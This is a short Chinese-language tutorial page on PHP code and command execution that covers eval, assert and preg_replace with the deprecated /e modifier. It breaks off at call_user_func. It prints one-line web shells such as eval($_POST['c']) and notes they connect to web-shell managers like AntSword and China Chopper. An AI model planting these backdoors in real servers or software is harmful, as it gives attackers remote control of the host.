php assert执行命令,代码执行&命令执行&命令注入

代码执行&命令执行&命令注入

代码执行

代码执行是靠脚本代码调用操作系统的命令

eval

eval( string $code) : mixed

把字符串 code 作为PHP代码执行。

eval($_POST['c']);

直接蚁剑链接密码为c 中国菜刀 cknife

assert

assert( mixed

exception]) : bool

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

assert($_POST['c']);

直接蚁剑链接密码为c

preg_replace

preg_replace ( mixed

replacement , mixed

limit = -1 [, int &$count ]] ) : mixed

preg_replace — 执行一个正则表达式的搜索和替换

搜索subject中匹配pattern的部分, 以replacement进行替换。

当使用被弃用的 e 修饰符时, 这个函数会转义一些字符(即:'、"、 \ 和 NULL

然后进行后向引用替换。在完成替换后, 引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

echo preg_replace('/test/e','phpinfo()','asdasdtestasd');

/e修饰符前的正则表达式匹配后面的字符串参数,将test字符串替换为phpinfo()并且以eval()的方式执行。

echo preg_replace('/.*/e',$_POST['c'],'');

直接蚁剑链接密码为c

call_user_func

call_user_func ( callable

你可能感兴趣的:(php,assert执行命令)